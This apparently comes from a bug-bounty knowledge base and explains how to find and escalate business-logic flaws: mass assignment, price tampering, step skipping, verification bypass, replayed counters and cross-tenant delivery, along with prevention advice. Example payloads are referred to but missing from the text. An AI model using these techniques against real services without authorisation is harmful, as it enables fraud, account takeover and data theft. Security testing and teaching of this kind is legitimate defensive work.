Business Logic Flaws

§Basic information

A business-logic flaw is a bug in what the application is allowed to do, not in how it parses input. The code runs exactly as written — it simply trusts the wrong thing: a client-supplied price, a status field the user should never set, a verification that never happened, or an ordering of steps the developer assumed was fixed.

There is no injection metacharacter to grep for, so scanners are blind to it. You find these by modelling the intended workflow, listing every assumption it depends on, and then violating one. The transferable primitive is almost always the same shape: the server accepts a value or a state it should have derived or re-checked itself. Treat every logic bug as a pivot — the first link in a chain to account takeover, money, or another tenant's data.

§Methodology

1. Capture the whole happy path in a proxy — every request from signup → verify → merge → checkout → confirm. Note each step's URL, the token/ID it carries, and what precondition it proves.
2. Draw the state machine. For each transition ask: what is this step supposed to guarantee, and where is that guarantee enforced — on the record, or only on this one URL?
3. Pick an assumption and break it. Skip a step, reorder it, repeat it, force-browse to a later sibling path, or feed a value the server should own.
4. Fuzz "underivable" fields — add email, email_verified, role, status, amount, price to any update body and watch for a 200 that took them.
5. Confirm by precondition, not by error. The bug is proven the moment a step's precondition (payment, ownership, verification, moderation) is not re-checked yet the action still succeeds.
6. Escalate to a concrete grab — money moved, an account owned, PII dumped, or a moderation gate skipped. alert-equivalents ("I could set my role to admin") don't get paid; do it.

§Technique variants

Logic bugs cluster around trust boundaries — points where the server accepts something it should have computed. Find which boundary your target crosses, then use the matching probe.

Mass assignment (writing fields you shouldn't)

Any update/PATCH that takes a JSON blob and binds it to a model will often write fields the form never showed. Inject the security-relevant one and let the next feature trust it.

The address above is silently marked verified with no ownership check — you now inherit team invites and SAML federation tied to it (#1551176). The same primitive flips a moderation/approval state: re-send the final GraphQL mutation with the status the moderator was supposed to grant.

Value tampering (money, quantity, identifiers)

Anything the browser sends is attacker-controlled. Test whether the server re-derives it or trusts it — signed values included, if the signature covers the wrong bytes.

Negatives and zeros are the fastest money tells: a negative line item nets the order total down (#364843), and an unvalidated bid in a public state-changing callback mints value from nothing (#684092).

Multi-step flow abuse (skip / reorder / force-browse)

A later step's URL is frequently a guessable sibling of the current one. Keep the query string / token, swap only the path segment, and jump past the gate in between.

If a page is view-once, the single-use guard usually lives on that URL, not the data. Find a second endpoint that reads the same identifier from a different location (cookie/param/header):

Verification & token bypass

For any "we emailed you a link/code" step, verification is supposed to prove possession of the inbox. Ask four questions: is the token visible in the UI/API, does a bare GET consume it, is it single-use, is it bound to the requesting session?

A verify-on-GET link is also fired by corporate mail-scanner bots that pre-fetch URLs — register an address at such a company, and the scanner auto-verifies it for you with zero human action (#2798380). And an OTP that is delivered to the attacker but validated against the victim's id claims the victim's resource (#1330529).

Idempotency, counters & type confusion

Anything summed or applied "once" — discounts, deposits, coupons, ratings, balances — should be idempotent. Replay the "apply" request N times and watch the counter.

Type-confusion is the sibling probe: send null, [], {}, or number-as-string where a string is expected. A stored bad value that crashes the renderer becomes a real vuln once a share/invite delivers it to another tenant.

Economic / rounding flaws

Fees, quotas, and credits computed with division can floor to zero, nullifying an economic rate limit. Audit any cost formula for the input that drives the result to 0 (or below 1).

The mirror-image is enumerating a paid resource at amount=0 — a free subscription/plan when the price is trusted from the request (#511044).

Cross-tenant delivery

A "self-only" crash or poisoned object is not a finding until a sharing/invite/collaboration feature pushes it into a victim's session. Real-time channels are the strongest vector — if a peer can set fields in your DOM and a later client action builds a request from them, you get attacker-directed CSRF.

The collab websocket frame below sets a field in the victim's DOM; when they click "Build" the client POSTs to the traversed endpoint as them (#837328). Note %5B/%5D are the URL-encoded [/] — send them encoded, exactly as shown:

§Bypasses

§Escalation & impact

Logic flaws are the pivot, not the whole kill chain:

• Verify → own identity → SAML/SSO: auto-verify a corporate email, then walk into every app that federates from it (#2798380 → third-party SAML app).
• Mass-assign email → invite hijack → role assumption (#1551176); OTP misbinding → ownership-claim ATO (#1330529).
• Force-browse / token leak → full ATO: #796956 (merge flow), #229619/#1486327 (reusable link/token), #96636 (HPP sets the victim's password), #1465277 (unthrottled confirm → disable 2FA).
• CI mis-attribution → secret theft: delete an owner so a mirror pipeline runs as the victim → exfiltrate CI_JOB_TOKEN → clone private repos/registry (#894569, $12k critical).
• Financial chains: fake auction → free mint → drain all collateral (#684092); nested-revert deposit credit → withdraw a phantom balance (#328526).
• Cross-tenant weaponization: a self-only crash/poison delivered via share/invite becomes a real vuln (#1237700, #837328 — which also disables the victim's login alerts to persist).

§Prevention

• Derive, never accept, security-relevant values. email_verified, role, status, price, amount must be set server-side from authoritative state; allowlist the writable fields on every update path.
• Re-check the precondition at every step, on the data — not one URL. Single-use and ownership gates belong on the record, so a sibling endpoint or a moved identifier can't skip them.
• Verification means possession: tokens never appear in the UI/API, are single-use, short-lived, bound to the requesting session, and are not consumed by a bare GET.
• Rate-limit every password/OTP-accepting endpoint, especially secondary "confirm identity" ones, and validate CAPTCHA server-side.
• Make apply-once actions idempotent; clamp cost formulas with max(x, 1) and reject negative/zero/wrong-type amounts.
• Treat shared/invited objects as attacker-controlled on the receiving tenant's render path.

§Tools

• Burp Suite — Repeater for step-diffing and value tampering; Turbo Intruder for the single-packet race on idempotency bugs; Match & Replace to auto-inject mass-assignable fields.
• Arjun / param-miner — discover hidden, mass-assignable, or precedence-collision parameters.
• Autorize — build the "who can do this step" matrix across the state machine.
• A length/status oracle script for unthrottled re-auth brute force.
• Collaborator / interactsh — catch verify-on-GET link scanners and out-of-band consumption.
• Mostly: a written state-machine diagram and an explicit list of the assumptions each step trusts.

✦Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 267 in this class.

§References & practice

1. PortSwigger Web Security Academy — Business logic labs (hands-on practice).
2. All 267 disclosed reports for this class are catalogued as specimens above.
3. See also: exploit chains · payload libraries · methodology.